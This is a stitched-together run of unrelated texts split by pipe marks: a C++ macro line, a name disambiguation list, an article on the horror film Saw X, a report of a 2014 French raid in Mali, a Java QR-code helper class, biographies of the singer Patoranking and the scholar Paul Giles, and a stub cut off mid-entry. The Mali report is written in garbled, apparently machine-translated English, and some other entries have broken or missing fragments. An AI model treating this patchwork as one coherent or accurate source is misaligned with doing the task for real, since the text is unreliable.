FX_PLUGIN_IDENTIFIER(RGBMScaleFx, "rgbmScaleFx");
``` |
Thomas or Tom Rodgers may refer to:
Thomas S. Rodgers (1858–1931), US Navy officer in the Spanish–American War
Thomas A. Rodgers (died 1821), Secretary of State of Alabama
Thomas Rodgers (born 1979), heir apparent of the Rodgers baronets
Tom Rodgers (born 1960), advocate for Native Americans and tribal issues
Tom Rodgers (mountain bike racer) (died 2009)
Thomas Malin Rodgers (1943–2012), founder of Gathering for Gardner
See also
Thomas Rogers (disambiguation)
Thomas Rodger (1832–1883), Scottish photographer |
Saw X is a 2023 American horror film directed and edited by Kevin Greutert and written by Peter Goldfinger and Josh Stolberg. The film is the tenth installment in the Saw film series, serving as both a direct sequel to Saw (2004) and a prequel to Saw II (2005). Starring Tobin Bell and Shawnee Smith reprising their roles from the previous films, with Synnøve Macody Lund, Steven Brand, Renata Vaca, and Michael Beach, John Kramer (Bell) travels to Mexico in hopes that an experimental procedure may cure him, only to later discover that the operation is a scam. As retribution, he kidnaps those responsible and subjects them to his trademark death traps.
A tenth installment was reported to be in development with Twisted Pictures in April 2021, when Stolberg and Goldfinger, writers for the previous two entries of the series, announced that they had completed the script in December 2021. Greutert, who had directed two other installments of the series and edited six, was also confirmed as the film's director. Filming took place from October 2022 to February 2023 in Mexico City.
Saw X was theatrically released by Lionsgate Films on September 29, 2023. It has grossed $93 million worldwide and received generally positive reviews from critics, with praise especially towards Bell's performance, becoming the best reviewed Saw film.
Plot
John Kramer is told that after his CT scan, due to his advanced brain cancer, he has only months to live. John later attends a cancer support meeting, where he meets Henry Kessler, who claims to have also gotten a terminal cancer diagnosis. John later encounters a seemingly healthy Henry, who claims to have been cured by an experimental Norwegian cancer treatment conducted by a group led by Dr. Pederson. A desperate John contacts the doctor's daughter Cecilia, who refers him to her clinic in Mexico City.
John is driven to the clinic by taxi driver Diego and meets Cecilia and her team—Mateo, Valentina, and Dr. Cortez—as well as a young woman named Gabriela who claims to have been cured by Cecilia, and another patient, Parker Sears, who just underwent surgery. John also meets Carlos, a young boy who lives nearby; the two bond when John fixes his bike. John goes under for surgery, and he wakes up to Cecilia telling him that he is now cancer-free. Finding a new lease on life, John purchases a gift for Gabriela; however, upon returning to the clinic, he finds it abandoned and realizes that the whole operation was a scam.
Deducing "Dr. Cortez" was Diego in disguise, John kidnaps and interrogates him. He then places Diego in a trap where he must remove explosives wired to his arms by cutting through his flesh, which Diego successfully performs. Jigsaw's apprentice Amanda Young then kidnaps Cecilia, Mateo, Valentina, and Gabriela; the four wake up in the clinic, now subjects of John and Amanda's Jigsaw games.
Valentina is tasked with severing her leg with a Gigli saw and extracting enough bone marrow to release a key to free herself. Although she succeeds in removing her leg, she is unable to escape in time and is decapitated by another Gigli saw. Cecilia disembowels Valentina's corpse and uses her intestines as a rope to lure her phone and calls for help, but Amanda shocks her into submission and confiscates the phone. Parker breaks into the clinic, claiming he wants his money back. Amanda restrains Parker while Mateo is forced to drill into his own skull and remove a portion of his cerebral tissue to obtain a key. Despite succeeding, after the tissue takes too long to dissolve, a heated mask closes on his face, killing him. Next, Gabriela is suspended from shackles around her wrist and ankle while being subjected to ionizing radiation and must use a sledgehammer to break her shackled limbs and escape. She succeeds and John orders Amanda to take her to a hospital. However, before she can, the now-free Parker forces them at gunpoint to free Cecilia.
Cecilia kills Gabriela by breaking her neck and reveals she called Parker, who is part of the scam, to free her. She forces John to chain himself in her trap. She hears Carlos outside of the facility and having noticed John befriend the boy, chains him up opposite John on a seesaw-like trap which waterboards them with blood. Parker and Cecilia leave to retrieve the bag of stolen cash from John's control room; however, a tripwire is activated that seals Parker and Cecilia in the room and frees John and Carlos. John reveals Diego outed all of the scammers—including Parker and Henry—and tricked Cecilia into luring him to the facility. A deadly chemical gas begins filling the room, with the only respite being a ventilation hole large enough for one person's head, forcing Cecilia and Parker to fight each other, to the former's victory. Cecilia can only watch as John, Amanda, and Carlos (to whom John gave the money) leave the facility while she is left imprisoned.
Sometime later, Henry awakens in a dilapidated bathroom with a new trap strapped to his stomach, overseen by John and Mark Hoffman.
Cast
Production
Development
In April 2021, a tenth film installment to the Saw franchise, titled Saw X, was reported to be in development with Twisted Pictures. Josh Stolberg and Peter Goldfinger, writers for the previous two entries of the series, Jigsaw (2017) and Spiral (2021), confirmed the script was completed in December 2021. Producers Mark Burg and Oren Koules had planned the story of Saw X since 2018, but plans for the film were put on hold when Michael Burns, the Vice President of Lionsgate, met with Chris Rock in Brazil and approved his pitch for Spiral. That film's box office under-performance led Burg and Koules to go back to the franchise's roots for its tenth installment and make the story they had planned. In August 2022, Bloody Disgusting reported the film would be directed by Kevin Greutert, who edited most of the previous installments, and directed Saw VI (2009) and Saw 3D (2010).
Casting
In October 2022, Tobin Bell was confirmed to reprise the role of John Kramer / Jigsaw. Greutert told Empire that Bell is featured in the film more than any other in the series. Bell was also involved in the film's script and post-production, coming up with extra dialogue that was incorporated into the story after shooting concluded. In December 2022, Synnøve Macody Lund, Steven Brand and Michael Beach joined the cast, along with Renata Vaca, Paulette Hernández, Joshua Okamoto, and Octavio Hinojosa. Shawnee Smith reprises her role as Amanda Young. While never officially announced, Costas Mandylor returned with a surprise cameo of his role as Mark Hoffman, though his return was implied by his voice present in the trailer. Greutert told Entertainment Weekly that this cameo was "the most fan-servicey thing" he has done.
Filming
On a budget of $13 million, principal photography took place on location in Mexico City from late October 2022 to February 2023. The trap designs were more complex than in previous installments, so the filming schedule was split into two partsthree weeks in November and three weeks in January. Greutert told SFX, "We had to make so many prosthetics and machines, and over Christmas, we spent the entirety of it figuring this stuff out".
At the Midsummer Scream 2023 convention, cinematographer Nick Matthews said they wanted to pay homage to the earlier Saw films. He explained, "I think for Kevin and I, it was really important that we were able to pay homage to all the early films, we love that the early films are [1.85] (ratio), we love that they're textural, that they're gritty, that there's these really bold, yellow color palettes, and we want to do our work to hearken to that, with pervasive darkness, and really throwing the audience subjectively right into this graphic, gritty world". Production designer Anthony Stabley looked back at the color palette from those mid-2000s films and ensured that all technology, like graphics, seen in Saw X would have been available when those films took place.
Post-production
Most of the gore was done with practical effects, with CGI only being used for touch-ups. The filmmakers considered the use of visual effects to de-age Bell and Smith due to the 17-year gap between their appearances in Saw III (2006), in which their characters both died, and Saw X. However, they decided against it; Greutert expressed his support for this decision, saying that "some of the films that have de-aged their actors, it puts some distance between the character and the audience", feeling that Bell and Smith have some emotional close-ups that should not be altered.
Steve Forn, the film's first assistant editor, had local police called on him during an editing session involving sound design of the custodian's trap— and "naturally, there's a lot of screaming in the sequence." The police, to quote the neighbors, had concerns about [someone] being tortured to death in here, to which Forn replies with "Actually, I'm just working on a movie. You can come in and see it if you want?" The police laughed, saying "We want to but, you know, you're all right".
Release
Marketing
On September 9, 2023, Lionsgate announced the return of the Saw Blood Drive, a promotional event allowing audiences to donate blood to the American Red Cross in exchange for free tickets to the opening weekend of Saw X.
On September 13, 2023, a parody of the Nicole Kidman AMC Theatres commercial was published to YouTube and to Lionsgate's social media platforms. It featured a remote-controlled Billy the Puppet on a tricycle in place of Kidman, with some slight changes to reflect the graphic nature of Saw. While the parody was met with humorous responses by news outlets, it was pulled from Lionsgate's accounts due to a cease and desist order by AMC Theatres. Writer Josh Stolberg released a statement on the trailer's takedown, calling people "lucky" if they managed to watch the parody before its removal, though re-uploads have spread across multiple channels not affiliated with Lionsgate.
Theatrical
Saw X was released theatrically in the United States by Lionsgate Films on September 29, 2023. The film was set to be released on October 27, 2023, before Lionsgate announced at the San Diego Comic-Con that it would be moved up to its current date.
Home media
Saw X released on PVOD in the United States on October 20, 2023. It will be released on DVD, Blu-ray and 4K UHD on November 21, 2023. The 4K and Blu-ray discs will include over three hours of bonus footage, containing a making-of documentary titled Reawakening and deleted scenes.
Reception
Box office
, Saw X has grossed $50.6 million in the United States and Canada, and $42.8 million in other territories, for a worldwide total of $93.4 million.
In the United States and Canada, Saw X was released alongside The Creator, PAW Patrol: The Mighty Movie, and the wide expansion of Dumb Money, and was projected to gross $15–18 million from 3,262 theaters in its opening weekend. It made $8 million on its first day, including $2 million from Thursday night previews. It went onto debut to $18.3 million, finishing second behind PAW Patrol. It was below the average opening weekend of the franchise ($23 million), but higher than recent installments Spiral ($8.8 million in 2021) and Jigsaw ($16.6 million in 2017). The film made $8.2 million in its second weekend and $5.7 million in its third, finishing in third and fourth place, respectively.
Saw X topped the box office in the United Kingdom and Ireland, grossing $2.31 million in the first three days.
Critical response
The film received positive reviews from critics, who praised Bell's performance, adding that it was the best entry in the franchise since the first film. It is the highest-rated film of the franchise on both websites, topping the first (50%) and third film (48 out of 100), respectively. Audiences surveyed by CinemaScore gave the film an average grade of "B" on an A+ to F scale, while those polled at PostTrak gave it an 82% overall positive score, with 62% saying they would definitely recommend the film.
Variety Owen Gleiberman wrote that Saw X seemed "more like a real movie than many of the films in the series in that there's more talking and less torturing". He was satisfied with that ratio but was concerned if it would "pay off at the box office". He explained, "The torture set pieces in the Saw films are lavish gifts of baroque horror presented to the audience. They are, quite simply, the reason we came". He gave particular praise to Tobin Bell, "with his stare of pitiless wisdom". Frank Scheck of The Hollywood Reporter also praised Bell for his performance, saying "None of this would work nearly as well without Bell, whose raspy voice and menacing gravitas are so riveting that he makes Jigsaw's oft-repeated declaration 'I'd like to play a game' scary as hell".
Beatrice Loayza called Saw X the "most well-groomed Saw film to date" in her review for The New York Times. She continues with: "The story mostly makes sense and Greutert pulls back on the frenetic editing techniques that made the older movies look like the blood and guts equivalent of white noise". Bob Strauss of the San Francisco Chronicle called the film "a well-told tale" and praised its character development and plot twists. Wendy Ide of The Observer gave three stars out of five despite calling the film "unpleasant"— in her review she insists "that's rather the point."
Helen O'Hara from Empire gave the film a score of two out of five, positively commenting on the blood and gore, calling it "all present and correct." However, O'Hara criticized the film's main focus on Kramer's vulnerability and human side, adding that it "sits at odds with his awful judgmentalism. Let monsters be monsters." Kyle Turner writing for Slant gave the film a score of two and half out of four, saying "The real disappointment is that Shawnee Smith, who makes a return to the series for the first time since Saw VI, is relegated to mostly doing John's dirty work. It's hard out here for a disciple, and Smith hasn't had the chance to show off her chops as an actor since Saw III. But in Saw X, we do get crumbs of what makes her so thrilling as a performer, particularly one in the horror genre: She’s all id, a tempest of emotion and fully embodied desperation and psychosis."
Notes
References
External links
2023 horror films
2023 films
2020s American films
2020s English-language films
2020s serial killer films
American serial killer films
Interquel films
Films about cancer
Films about fraud
Films directed by Kevin Greutert
Films scored by Charlie Clouser
Films shot in Mexico City
Films set in Mexico
Films with screenplays by Josh Stolberg
Lionsgate films
Saw (franchise) films
Torture in films
4DX films |
On 22 January 2014, a strong French column of more than a hundred soldiers transported by armored vehicles out of the city of Timbuktu and turns towards the northwest, then turns east after traveling fifty kilometers.
On the night of January 22 to 23, the French attacked a group of jihadists in the desert about 130 kilometers north of Timbuktu. The fight takes place south of the village of Kondaoui where jihadists were probably come to stock up on food and water. One resident said the French attack with Special Forces soldiers backed by helicopters.
Officially, according to the French general staff, a dozen "terrorists" were killed and a French soldier is injured as a result of an "act of opportunity." According to French and Malian military, the picture is more precisely 11 dead on the rebel side and a Salafi injured prognosis uncommitted for French. In addition, two pickup jihadists were destroyed. At least one of the dead is identified jihadists; Algeria's Abdelkader Ben Boucha, 33, from El Oued.
References
2014 in Mali
Conflicts in 2014
Battles involving France
Gao Region
Mali War
January 2014 events in Africa
Battles in 2014 |
```java
package com.beemdevelopment.aegis.helpers;
import android.graphics.Bitmap;
import android.graphics.BitmapFactory;
import android.graphics.Color;
import androidx.annotation.ColorInt;
import com.google.zxing.BarcodeFormat;
import com.google.zxing.BinaryBitmap;
import com.google.zxing.DecodeHintType;
import com.google.zxing.LuminanceSource;
import com.google.zxing.MultiFormatReader;
import com.google.zxing.NotFoundException;
import com.google.zxing.RGBLuminanceSource;
import com.google.zxing.Result;
import com.google.zxing.WriterException;
import com.google.zxing.common.BitMatrix;
import com.google.zxing.common.HybridBinarizer;
import com.google.zxing.qrcode.QRCodeWriter;
import java.io.InputStream;
import java.util.Collections;
import java.util.HashMap;
import java.util.Map;
public class QrCodeHelper {
private QrCodeHelper() {
}
public static Result decodeFromSource(LuminanceSource source) throws NotFoundException {
Map<DecodeHintType, Object> hints = new HashMap<>();
hints.put(DecodeHintType.POSSIBLE_FORMATS, Collections.singletonList(BarcodeFormat.QR_CODE));
hints.put(DecodeHintType.ALSO_INVERTED, true);
BinaryBitmap bitmap = new BinaryBitmap(new HybridBinarizer(source));
MultiFormatReader reader = new MultiFormatReader();
return reader.decode(bitmap, hints);
}
public static Result decodeFromStream(InputStream inStream) throws DecodeError {
BitmapFactory.Options bmOptions = new BitmapFactory.Options();
Bitmap bitmap = BitmapFactory.decodeStream(inStream, null, bmOptions);
if (bitmap == null) {
throw new DecodeError("Unable to decode stream to bitmap");
}
// If ZXing is not able to decode the image on the first try, we try a couple of
// more times with smaller versions of the same image.
for (int i = 0; i <= 2; i++) {
if (i != 0) {
bitmap = BitmapHelper.resize(bitmap, bitmap.getWidth() / (i * 2), bitmap.getHeight() / (i * 2));
}
try {
int[] pixels = new int[bitmap.getWidth() * bitmap.getHeight()];
bitmap.getPixels(pixels, 0, bitmap.getWidth(), 0, 0, bitmap.getWidth(), bitmap.getHeight());
LuminanceSource source = new RGBLuminanceSource(bitmap.getWidth(), bitmap.getHeight(), pixels);
return decodeFromSource(source);
} catch (NotFoundException ignored) {
}
}
throw new DecodeError(NotFoundException.getNotFoundInstance());
}
public static Bitmap encodeToBitmap(String data, int width, int height, @ColorInt int backgroundColor) throws WriterException {
QRCodeWriter writer = new QRCodeWriter();
BitMatrix bitMatrix = writer.encode(data, BarcodeFormat.QR_CODE, width, height);
int[] pixels = new int[width * height];
for (int y = 0; y < height; y++) {
int offset = y * width;
for (int x = 0; x < width; x++) {
pixels[offset + x] = bitMatrix.get(x, y) ? Color.BLACK : backgroundColor;
}
}
Bitmap bitmap = Bitmap.createBitmap(width, height, Bitmap.Config.ARGB_8888);
bitmap.setPixels(pixels, 0, width, 0, 0, width, height);
return bitmap;
}
public static class DecodeError extends Exception {
public DecodeError(String message) {
super(message);
}
public DecodeError(Throwable cause) {
super(cause);
}
}
}
``` |
Patrick Nnaemeka Okorie (born 27 May 1990), better known by his stage name Patoranking, is a Nigerian reggae-dancehall singer and songwriter. Born and raised in Ebute Metta community of Lagos, he grew up sharing one room with his parents and five siblings. His modest upbringing and close relationship with his family instilled a drive and determination to create a better future, and led him to music He started his music career doing underground collaborations, with artists such as XProject, Konga, Slam and Reggie Rockstone. He signed a record deal with K-Solo's Igberaga Records in 2010, releasing "Up in D Club" under the outfit. Patoranking became a protégé of Dem Mama Records after collaborating with Timaya on his song "Alubarika". In February 2014, he signed a record deal with Foston Musik and released "Girlie O", a single that put him in the limelight. On 9 February 2015, Patoranking announced on Instagram that he signed a distribution deal with VP Records. on September 28 Patoranking released a song titled Abule which he released ahead of his album scheduled to be released later in 2020. He once said, in 2020 that he once got inspiration for song on a football pitch while playing football.
Early Life and music career
Patoranking was born and raised in Ijegun-Egba Satellite Town but has family roots in Onicha, Ebonyi State. He attended Citizen Comprehensive College in Epe, Lagos and later enrolled at Jibril Martin Memorial Grammar School in Iponri.
Patoranking moved to Ghana in 2007 to pursue his education after gaining admission to the University of Cape Coast. but dropped out due to financial reasons.
After dropping out of the University, he moved to Osu, a suburb of Accra, Ghana where he met Lanky, an entrepreneur who signed Patoranking to his label, Black Rhythmz Entertainment. Whilst signed to Black Rhythmz Entertainment, he was working at a restaurant opposite Frankies Osu and had another job at Accra Mall. After recording a few songs on Lanky's label, the relationship came to an end and he returned to Nigeria.
Upon his return to Nigeria, Okorie joined K-Solo's Igberaga Records in 2012, where he recorded "Iya Bisi", featuring Qdot and Kbaj. The Drumphase-produced song is a fusion of dancehall and fuji. Patoranking told Entertainment Express that Qdot and Kbaj helped compose the song by sharing ideas with him. Other singles recorded with K-Solo's label included Tonight, Park Well, and So Nice.
Speaking on the origin of his name in a 2012 interview with Entertainment Express, Patrick said his stage name was given to him by a Jamaican artist whom he met at Alpha Beach in Lagos. Patoranking has cited Buju Banton, Bob Marley, Fela Kuti, Lucky Dube, Chaka Demus, Majek Fashek, Blackky, Blackface, Tuface and Marvelous Benjy as his key musical influences. In the aforementioned interview with Entertainment Express, he described his music as a morally inclined variation of dancehall and said it references socio-political issues.
It was not until 12 September 2013, that Okorie's life changed with the release of the audio and video for "Alubarika". The song literally translates to "God's Blessings" and features vocals from Timaya. The music video for "Alubarika" was shot by AJE Films and ran for 4 minutes and 16 seconds. According to an article posted by Victor Akande of The Nation, Patoranking described the song as a summary of his life as a musician and said it opened doors for him in terms of building a fan base and working with established musicians.
In February 2014, Patoranking signed a record deal with Foston Musik and ended his affiliations with Dem Mama Records. During an interview with Toolz on NdaniTV's The Juice, Timaya said Patoranking left his label and was never officially signed. On 4 February 2014, Patoranking released "Girlie O", a song produced by WizzyPro. The music video for the song was shot and directed in London by Moe Musa; it was released on 5 February 2014. In the music video, Patoranking liberates his next-door neighbor from domestic violence by expressing his innate feelings to her.
Foston Musik released the Tiwa Savage-assisted "Girlie O" (Remix) on 19 May 2014 to critical acclaim. It debuted at No. 9 on MTV Base's Official Naija Top 10 chart. Tiwa Savage told Ehiz of MTV Base she admires Patoranking's music and decided to reach out to him to do the remix. The music video for "Girlie O" (Remix) was also shot and directed in London by Moe Musa. Joey Akan of Pulse Nigeria said, "On the new remix, the basic winning elements were not discarded. They were retained and improved. The beat, chorus, and dynamism were held onto, and major work put into the lyrics."
Patoranking was featured on Seyi Shay's "Murda" single alongside Shaydee. The song was produced by Dokta Frabz and released on 1 April 2014. On 11 May 2014, the music video for "Murda" was uploaded onto Vevo. It was directed by Meji Alabi for JM Films.
Patoranking's "Daniella Whine" and "My Woman, My Everything" singles charted on MTV Base Official Naija Top 10 chart. The former debuted at No. 4 in May and topped the chart at No. 1 in June, while the latter "My Woman, My Everything" also appeared on the chart, peaking at No. 2.
In a bid to reconnect with his Ghanaian roots and revive his fanbase in Ghana, returned to Ghana and featured on the remix of Stonebwoy's single, "Pull Up" in 2014.
Managers: Rickie Davies for International and Chimdinma Maduforo for Africa .
Discography
Albums
God Over Everything (2016)
God Over Everything is Patoranking's debut album that tells a story of his struggles from the streets of Ghana until his eventual breakthrough in 2013. He stated that dropping out of the University of Cape Coast due to financial reasons and returning to Nigeria to serve on Timaya's Dem Mama Records was a tough transition but necessary for his musical development and eventual breakthrough. Leading single "No Kissing Baby" featuring Sarkodie received nominations at the MTV African Music Awards 2016 and the 2016 Headies.
Wilmer (2019)
Wilmer is his second studio album released on May 24, 2019. The album was named after his first daughter who was born in August, the previous year.
Three (2020)
Three is Patoranking's third studio album. It won the Best Reggae Dancehall Album at the Headies in 2022. It features the single Mon Bebe, with Flavour, with the music video starting dating rumours between Patoranking and Yemi Alade, who played a cameo as a bride.
Selected singles
Guest appearances
2019 he did a song with Ugandan Luga flow rapper Fik Fameica that was well received in East Africa, He has collaborated with East African music heavy weights including Only You ft Jose Chameleon, Nyashinski and Diamond Platnumz
Personal life
Away from music, Patoranking maintains a quiet lifestyle.
Past Relationships
He has dated Ghanaian Television personality Joselyn Dumas and Nigerian singer, Yemi Alade. His relationship with Yemi was dubbed a rumour as pictures from their traditional wedding was dubbed a cameo for the music video of his single, Mon Bebe with Flavour.
Family
In August 2018, Patoranking welcomed his first child, Wilmer Okorie with businesswoman, Leila Stone. He also has a second child, Welda Okorie
See also
List of Nigerian musicians
List of Igbo people
List of people from Ebonyi State
References
Living people
1990 births
21st-century Nigerian male singers
Nigerian male singer-songwriters
Nigerian singer-songwriters
Nigerian reggae musicians
Dancehall musicians
Igbo singers
The Headies winners
People from Ebonyi State |
Paul Giles is an English-born academic, author and researcher. He is a Professor of English in the Institute for Humanities and Social Sciences at the Australian Catholic University in Melbourne. He is also an Honorary Professor at the University of Sydney and a Supernumerary Fellow of Linacre College, University of Oxford.
Giles’ research interests surround the theory and practice of transnationalism and the American literature and culture. Some of his books include Transnationalism in Practice: Essays on American Studies, Literature and Religion (2010); Transatlantic Insurrections: British Culture and the Formation of American Literature, 1730–1860 (2001); Atlantic Republic: The American Tradition in English Literature (2006); American Catholic Arts and Fictions: Culture, Ideology, Aesthetics (1992); Virtual Americas: Transnational Fictions and the Transatlantic Imaginary (2002); The Global Remapping of American Literature (2011); and Hart Crane: The Contexts of The Bridge (1986). More recently, he has extended this transnational method to Australian literature, in Backgazing: Reverse Time in Modernist Culture (2019) and The Planetary Clock: Antipodean Time and Spherical Postmodern Fictions (2021).
Giles is a Fellow of the Australian Academy for the Humanities and has been a Professorial Fellow at Linacre College, Oxford where he continues as a Supernumerary Fellow. He is a series Editor for Anthem Studies in Global English Literatures and has been a co-editor of Australasian Journal of American Studies and was an Editor of American literature, Oxford Handbooks Online. He is a member of the advisory board for the Institute of World Literature.
Education
Giles was educated at Brentwood School in Essex, and then did his B.A in English at Christ Church, Oxford in 1979, graduating with First Class honours. He received his M.A. in 1984 and his D.Phil. in 1985 from Oxford.
Career
After completing his D.Phil., Giles began his academic career as a lecturer in Humanities at the University of Staffordshire from 1985 to 1987. He then worked as an Assistant and subsequently as a tenured Associate Professor of English at Portland State University in Oregon from 1987 to 1994, after which he returned to the UK and was a Lecturer and Reader in American Studies at the University of Nottingham until 1999. He then moved to Cambridge University as a University Lecturer in American Literature and Fellow of Fitzwilliam College till 2002. He then returned to Oxford where he became statutory Reader in American Literature from 2002 to 2009, with the title of Professor. In January 2010 he moved to Australia, where he worked at the University of Sydney as Challis Professor of English until 2022. He is now a Professor of English in the Institute for Humanities and Social Sciences at the Australian Catholic University in Melbourne.
Giles served as the Director of Rothermere American Institute at Oxford from 2003 to 2008. He was also President of the International American Studies Association from 2005 to 2007, and served as President of the International Association of University Professors of English from 2019 to 2023.
Research
Most of Giles's research has been focused upon transnational approaches to American literature and culture. Initially his research interests centered on American modernist poetry, which resulted in his first book on Hart Crane that developed out of his PhD In 1987, his interests developed into a study of secularized transformations of Catholicism and its impact on American culture, and after his return to England he continued to work on transatlantic literary relations and American culture in an international context. After his move to Australia, this comparative perspective was given a specifically transpacific dimension. His most recent work includes a comparative cultural study of temporality in the modernist and postmodernist periods.
Theory and Practice of Transnationalism
In a 2019 address to the English Language and Literature Association of Korea, Giles suggested that civil wars might be perceived as precursors to transnational understandings of a national body. He had previously written in Transatlantic Insurrections about how the American Revolution might be understood as a civil war, and in Atlantic Republic of how American ideologies of liberty opened up divisions with the British body politic. An article by him argues that historic treatments of romanticism have, more often than not, overlooked the complicated ways in which transpacific space enters into Romantic poetics and how those aesthetic constructions have molded global political imaginaries. He has also discussed the academic institutionalization of English studies as a comparatively recent phenomenon, something that occurred many centuries after the establishment of the Classics, and he explains how the subject's fast expansion happened after World War II. In another article, he suggested a new scholarly direction in the field of American Studies as he outlined the specific challenges and opportunities that come with teaching such a course within an Australian context.
In his book Backgazing: Reverse Time in Modernist Culture, Giles focused on the way time is characterized in reverse forms all through modernist literature and culture. It is specifically concerned with the way in which antipodean reorientations of chronological scale reconfigure the way in which conventional temporal categories of modernism are comprehended. Philip Mead in the Australian Book Review said "Two of the bravura readings at the centre of this study are of Thomas Mann and Eleanor Dark. It's worth reading this book for these alone...There are many fascinating points of difference with Dark. There is also a fascinating interlude about H.G. Wells, his entanglements with Australia, and his The Conquest of Time (1942), with a fitting preface about Douglas Sirk's 1937 film To New Shores (Zu neuen Ufern)" In another book entitled The Planetary Clock, he talks about how time is represented in postmodern culture and how temporality manifests itself as a global phenomenon across an antipodean axis. The earlier book Transatlantic Insurrections: British Culture and the Formation of American Literature details the paradoxical relations between English and American Literature from 1730 to 1860. It describes the way in which literary traditions are formed within each national culture and their deep dependency upon negotiations with each other's transatlantic counterpart. He detailed how going beyond the British culture's conventions were crucial for the making of American literature as a separate entity, and he describes how the consolidation of British cultural identity evolved in part as a response to the need to stifle the memory and consequences of losing the United States in the American revolutionary wars. Lance Newman in his review praised the book and said that “This is the kind of sensitively historicist approach we need to understand the period’s complex and fluid co-evolution of British and American literary cultures and national identities.” In Antipodean America: Australasia and the Constitution of U. S. Literature, Giles talks about how the formation of American literature has been affected by Australia and New Zealand since the eighteenth century. It discusses how the antipodes, as a historical fact and a philosophical idea, influenced American writers in the territory that came to be called Australasia after the British settlement of this South Pacific region. A review by Nicholas Birns in the Journal of the Association for the Study of Australian Literature stated that "Giles possesses an uncanny ability to mount a paradigmatic, discipline-altering argument while giving convincing, interesting close readings of books and careers, a feature that makes this book at once not just an interpretively dazzling performance but a book that teacher and student can have ready at hand, to consult for reference, and, since the book is written with flair and elegance, delight."
American Literature and Culture
In a 2017 paper, Giles considers the relation between institutional formations of World Literature and International American Studies. Comparisons are made between International American Studies and the American Studies movement that emerged from the United States itself. His book The Global Remapping of American Literature lays out how the cartographies of the field, as an institutional category, have fluctuated across different times and spaces. According to Philip Mead “Giles has done important work reimagining North American literary history as allied rather than isolationist – revisioning American literature not as the definition of landlocked nation or exceptional homeland but as the product of transatlantic and continental traverses of forms and voices.” In Transnationalism in Practice: Essays on American Studies, Literature and Religion, Giles presents a collection of fourteen different essays spanning 1994 to 2004 on the topic of American studies, literature and religion. In his introduction for this book, he outlines the evolution of critical transnationalism as it grew in the 1980s and 1990s. He also discussed secular transformations of religious ideas in American Catholic Arts and Fictions: Culture, Ideology, Aesthetics, as they mold the style and substance of works by American artists, filmmakers, and writers with Catholic backgrounds. He describes how American writers have represented and mythologized Catholicism, often in oblique or indirect ways. According to James T. Fisher in the Modern Language Quarterly, "Students of American Catholic literature and history will read Paul Giles's American Catholic Arts and Fictions: Culture, Ideology, Aesthetics with a deep sense of gratitude for his unprecedented effort to apply the insights of contemporary literary theory to an astonishing variety of Catholic texts....I was moved by the respectful intensity the author brings to his study of artists richly deserving of such elegant treatment. American Catholic Arts and Fictions is a remarkable achievement as well as a historical event." In Contemporary Literature, Jonathan Veitch wrote: “American Catholic Arts and Fictions: Culture, Ideology, Aesthetics is a tour de force, a magisterial study of Catholicism and the American arts. But its subject is not limited to religion . . . Giles handles complex theological questions deftly, and he does so while meeting the highest standards of cultural criticism. But more importantly, Giles has achieved the rare feat of reorienting the cultural landscape in such a way that it will be hard to read the literature of this century in quite the same manner again.”
Awards and honors
1999 – Arthur Miller Prize for best article in the field of American Studies by a U.K. citizen, for “Virtual Americas” (American Quarterly)
2003 – Honorable Mention for best essay of the year in PMLA, William Riley Parker prize, for “Transnationalism and Classic American Literature”
2005 – Hirst Visiting Professor, Washington University in St. Louis
2009 – Visiting Fellow, Australian National University, Canberra
2012 – Fellow, Australian Academy for the Humanities
2014 – Short-listed in General History category, NSW Premier's History Awards, for Antipodean America
2021 – Book prize for The Planetary Clock, Australian University Heads of English
Bibliography
Books
Hart Crane: The Contexts of "The Bridge" (1986). Cambridge University Press. ISBN 978-0521107006
American Catholic Arts and Fictions: Culture, Ideology, Aesthetics (1992). Cambridge University Press. ISBN 978-0521417778
Transatlantic Insurrections: British Culture and the Formation of American Literature, 1730–1860 (2001). University of Pennsylvania Press. ISBN 978-0812236033
Virtual Americas: Transnational Fictions and the Transatlantic Imaginary (New Americanists) (2002). Duke University Press. ISBN 978-0822329671
Atlantic Republic: The American Tradition in English Literature (2006). Oxford University Press. ISBN 978-0199206339
Transpacific Republicanism: American Transcendentalism, John Dunmore and the Gold-Rush Circuit (2010). La Trobe University. ISBN 9781921377938
Transnationalism in Practice: Essays on American Studies, Literature and Religion (2010). Edinburgh University Press. ISBN 9781474468480
The Global Remapping of American Literature (2011). Princeton University Press. ISBN 9780691136134
Antipodean America: Australasia and the Constitution of U.S. Literature (2013). Oxford University Press. ISBN 9780199301577
Backgazing: Reverse Time in Modernist Culture (2019). Oxford University Press. ISBN 9780192566218
American World Literature: An Introduction (2019). Wiley-Blackwell. ISBN 9781119431787
The Planetary Clock: Antipodean Time and Spherical Postmodern Fictions (2021). Oxford University Press. ISBN 9780192599506
Selected Essays
“Deterritorialization in The Sacred Fount”, The Henry James Review (2003)
“Transnationalism and Classic American Literature”, PMLA (2003)
"The Earth reversed her Hemispheres": Dickinson's Global Antipodality.” The Emily Dickinson Journal (2011)
"Axel's Castle.” Essays in Criticism (2011)
"The Postcolonial Mainstream." American Literary History (2011)
“Bernard Smith in Space and Time: 'The Antipodean Manifesto' Fifty Years Later”, in Jaynie Anderson, Christopher R. Marshall, Andrew Yip (Eds.), The Legacies of Bernard Smith: Essays on Australian Art, History and Cultural Politics, Sydney: Power Publications. (2016)
“Transnational Thoreau: Time, Space, and Relativity”. In Kristen Case, K. P. Van Anglen (Eds.), Thoreau at 200: Essays and Reassessments, New York: Cambridge University Press. (2016)
"By Degrees": Jane Austen's Chronometric Style of World Literature, Nineteenth-Century Literature (2020)
“Irish-Australian Literature: Ghosts, Genealogy, Tradition”, Australian Literary Studies (2021)
“The Crosstemporal Conundrum: Indigenous Specters in Antebellum American Literature”, Amerikastudien (2021)
References
Living people
Fellows of Linacre College, Oxford
Fellows of Fitzwilliam College, Cambridge
Alumni of the University of Oxford
Academic staff of the Australian Catholic University
Academic staff of the University of Sydney
Challis professor
1957 births |
Karuppannan Veluthambi is an Indian molecular biologist, plant biotechnologist and a former Professor and INSA-Senior Scientist at the School of Biotechnology (SBT) of Madurai Kamaraj University (MKU).
Education
